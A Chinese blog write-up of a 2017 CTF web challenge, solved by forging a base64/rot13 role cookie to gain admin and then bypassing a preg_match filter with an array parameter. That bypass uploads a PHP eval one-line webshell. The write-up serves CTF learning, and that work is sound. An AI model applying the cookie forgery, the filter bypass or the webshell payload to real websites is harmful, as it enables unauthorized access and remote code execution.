首页 > 其他分享 >2017第二届广东省强网杯线上赛- who are you

2017第二届广东省强网杯线上赛- who are you

时间:2024-04-13 18:55:05浏览次数:18  
标签:编码 base64 上赛 admin 一下 who 杯线 权限 上传

2017第二届广东省强网杯线上赛

who are you:

题目类型:web

题目描述:打开链接,得到一个页面:

解题方法:这句话的意思说:对不起,你没有权限,先查看一下网页源码,没有发现什么有用的信息,然后再扫描一下目录:

然后访问一下这几个目录,发现都不行,返回的都是:对不起,你没有权限

用bp来抓包看一下:

发现这里cookie里面有个role(角色),把它进行base64解密一下:

Zjo1OiJ0aHJmZyI7
f:5:"thrfg";  //base64解密后

看到这个thrfg在想他是一个什么,感觉像是一个用户名,前面访问的说:我们没有权限,那这里我们将thrfg改成admin管理员权限看一下,然后base64编码:

f:5:"admin";
Zjo1OiJhZG1pbiI7 //base64编码

发现还是不可以,还是没有权限,最后去网上看了一下WP说:thrfg是guest的rot13编码,这个时候就恍然大悟,guest是客户普通用户的意思,所以就一直没有权限来访问,前面我们也不能直接改成admin,要把admin进行rot13编码后才可以:

admin
nqzva //admin的rot13编码
f:5:"nqzva";
Zjo1OiJucXp2YSI7 //base64编码

成功!然后这里它给出让我们POST上传一个文件名和文件内容,我们先随便上传点东西看一下

得到一个上传路径,我们访问一下看看:

返回我们上传的数据,这里我们就可以来试着上传我们的一句话木马试试:

这里一上传就返回NoNoNo!,说明有东西被过滤了,我们来多次尝试看看是什么被过滤了

经过多次试验,发现他把 < 尖括号给过滤了,当我们只要输入一个<尖括号就会返回NoNoNo!

我们猜测这样应该是有一个正则表达式的匹配,如果匹配到有<就会上传失败。而且正则表达式匹配常用的函数是preg_match()。这个函数有个漏洞,如果传入的参数为数组,它将直接FALSE。这样我们猜测可以另data为数组来进行绕过:

filename=1.php&data[]=<?php @eval($_POST['1']);?

上传成功!用蚁剑来连一下看看:

发现连不上,我们访问上传路径看一下它有没有上传成功

意外惊喜,在访问上传路径就直接把flag给我们了:

flag{e07cd440-8eed-11e7-997d-7efc09eb6c59}

总结:这里的cookie里面的权限这里被设置了一点改变它将role角色先进行的rot13编码,很难想到,还有最后上传这里把<尖括号给过滤了

标签:编码,base64,上赛,admin,一下,who,杯线,权限,上传
From: https://www.cnblogs.com/xyweiwen/p/18133205

相关文章

  • 52 Things: Number 6: How can we interpret NP as the set of theorems whose proofs
    52Things:Number6:HowcanweinterpretNPasthesetoftheoremswhoseproofscanbecheckedinpolynomialtime?52件事:第6点:我们如何将NP解释为一组定理,其证明可以在多项式时间内检查?Thisisthelatestinaseriesofblogpoststoaddressthelistof ......
  • 为什么 InputComponent->BindAxis(TEXT("ViewHorizontalOffSet"),this,&AMarioControl
    在UnrealEngine中,InputComponent->BindAxis和事件绑定(如OnComponentBeginOverlap)使用不同的系统和要求。这些差异导致了在绑定函数时对UFUNCTION()宏的不同需求。BindAxis和UFUNCTION()宏BindAxis:用于绑定输入轴(如游戏手柄的移动或旋转)。当绑定轴输入时,BindAxis函数直接引用......
  • A Person Who Is Important to Me
    ......
  • a person who had great influence on me
    Sheisofmediumbuildandaboutmyheight.Whenyouseeherstraightblackhairandbigeyes,youwillthinkthatsheisaveryniceandsincereperson.Infact,that'sexactlywhosheis。Sheisintrovertedbutcute.Likefluffythings,likepink,k......
  • 【智能算法】野马优化算法(WHO)原理及实现
    目录1.背景2.算法原理2.1算法思想2.2算法过程3.结果展示4.参考文献1.背景2021年,Naruei等人受到野马自然社会行为启发,提出了野马优化算法(Wildhorseoptimization,WHO)。2.算法原理2.1算法思想WHO来源于野马的社会生活行为,主要包括小马驹的放牧行为、马的交配行......
  • 常用命令--查看用户登录信息--w--who
    常用命令--查看用户登录信息--w--whoww命令用于显示已经登陆系统的用户列表,并显示用户正在执行的指令。执行这个命令可得知目前登入系统的用户有那些人,以及他们正在执行的程序。单独执行w命令会显示所有的用户,您也可指定用户名称,仅显示某位用户的相关信息。语法w(选项)(参数)......
  • SQLServer中sp_Who、sp_Who2和sp_WhoIsActive介绍和查看监视运行
    SQLServer中sp_Who、sp_Who2和sp_WhoIsActive介绍和查看监视运行使用sp_WhoIsActive监视活动sp_WhoIsActive存储过程可以监视SQLServer中当前正在运行的活动。介绍如果服务器速度变慢时,数据库管理员需要不断检查SQLServer实例上正在运行的操作。系统存储过程“s......
  • 初中英语优秀范文100篇-086The Person Who Has Influenced Me Most-对我影响最大的人
    PDF格式公众号回复关键字:SHCZFW086记忆树1Mymotheristhepersonwhohasinfluencedmemost.翻译我的母亲是对我影响最大的人简化记忆母亲句子结构主语Mymother作为主语,明确指出了影响说话者最大的人是“我的母亲系动词is系动词,用于连接主语和表语,表示主......
  • [oeasy]python0003_ 终端大冒险_终端命令_whoami_pwd_ls
    终端大冒险_终端命令_ls_pwd_whoami......
  • Whois域名查询的意义
    随着互联网的快速发展,域名作为网站的标识,已经成为了各个企业、机构和个人不可或缺的一部分。而在这些域名背后,隐藏着许多重要的信息。其中,whois查询就是一种可以获取域名详细信息的工具。那么,whois域名查询究竟有什么意义呢?本文将为您详细解析。一、了解域名注册人信息通过whois查......